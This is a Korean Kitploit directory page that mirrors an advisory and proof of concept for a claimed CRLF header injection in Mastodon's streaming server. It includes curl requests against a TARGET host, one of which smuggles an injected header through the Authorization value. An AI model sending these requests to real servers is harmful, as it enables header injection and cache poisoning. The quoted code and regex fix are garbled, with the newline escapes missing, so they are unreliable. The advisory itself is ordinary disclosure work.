Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2026-Mastodon-Streaming-CRLF-Injection — # Mastodon 스트리밍 서버 보안 취약점 PoC - CVE-2026-Mastodon-Streaming-CRLF-Injection | Kitploit
도구/GitHubGitHub/1402307692/cve-2026-mastodon-streaming-crlf-injection
Vulnerability AnalysisExploitationWeb Application ExploitationWeb SecurityPenetration TestingLearning & Education
GitHub1402307692/cve-2026-mastodon-streaming-crlf-injection

CVE-2026-Mastodon-Streaming-CRLF-Injection

# Mastodon 스트리밍 서버 보안 취약점 PoC - CVE-2026-Mastodon-Streaming-CRLF-Injection

저장소 보기웹사이트
24개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2026-XXXXX: Mastodon Streaming Server의 HTTP 응답 헤더 인젝션 (CRLF)

취약점 개요

항목내용
CVE IDCVE-2026-XXXXX
영향을 받는 제품Mastodon (Streaming Server)
영향을 받는 버전<= 4.5.9
구성 요소streaming/index.js 188-206행
취약점 유형HTTP 응답 헤더 인젝션 / CRLF 인젝션
CWECWE-74
CVSS 3.16.5 (Medium)
공격 벡터네트워크
발견자qitian [email protected]

취약점 설명

WebSocket 업그레이드 요청이 인증에 실패할 때, Mastodon Streaming Server가 streaming/index.js 188-206행에서 수동 HTTP 응답을 구성하고, socket.end()를 통해 X-Error-Message 응답 헤더에 errorMessage를 직접 쓰는데, 또는 문자를 전혀 정화(sanitize)하지 않습니다.

따라서 인증되지 않은 원격 공격자가 임의의 HTTP 헤더를 주입하거나 HTTP 응답 분할(Response Splitting)을 수행할 수 있습니다.

취약한 코드 (streaming/index.js lines 188-206)

root@kitploit:~
const { statusCode, errorMessage } = extractErrorStatusAndMessage(err);
const headers = {
  'Connection': 'close',
  'Content-Type': 'text/plain',
  'Content-Length': 0,
  'X-Request-Id': request.id,
  'X-Error-Message': errorMessage   // NO CRLF sanitization
};
socket.end(
  `HTTP/1.1 ${statusCode} ${http.STATUS_CODES[statusCode]}
` +
  `${Object.keys(headers).map((key) => `${key}: ${headers[key]}`).join('
')}

`
);

영향

  • HTTP 헤더 인젝션: 임의의 HTTP 헤더 주입
  • HTTP 응답 분할: 두 번째 HTTP 응답 본문 주입 (캐시 포이즈닝)
  • 정보 노출: 내부 오류 메시지가 인증되지 않은 사용자에게 노출됨

개념 증명 (Proof of Concept)

PoC 1 - 기본 탐지

root@kitploit:~
curl -i -X GET \
  -H "Upgrade: websocket" \
  -H "Connection: Upgrade" \
  -H "Sec-WebSocket-Version: 13" \
  -H "Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==" \
  http://TARGET:4000/api/v1/streaming/user

예상 결과: HTTP/1.1 401 Unauthorized, X-Error-Message: Missing access token

PoC 2 - CRLF 인젝션

root@kitploit:~
curl -i -X GET \
  -H "Upgrade: websocket" \
  -H "Connection: Upgrade" \
  -H "Sec-WebSocket-Version: 13" \
  -H "Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==" \
  -H "Authorization: Bearer test%0d%0aX-Injected: evil" \
  http://TARGET:4000/api/v1/streaming/user

수정 방법

소켓 헤더에 쓰기 전에 errorMessage를 정화합니다:

root@kitploit:~
const sanitizedMessage = String(errorMessage || '')
  .replace(/
/g, '%0D')
  .replace(/
/g, '%0A');
// OR use Node.js res.setHeader() API which prevents header injection

타임라인

날짜이벤트
2026-04-22취약점 발견 및 PoC 작성
2026-04-22CVE 보고서 MITRE / VDB에 제출

참고 자료

  • https://github.com/mastodon/mastodon
  • https://cwe.mitre.org/data/definitions/74.html

면책 조항: 이 PoC는 교육 및 보안 연구 목적으로만 사용됩니다.

도구 다운로드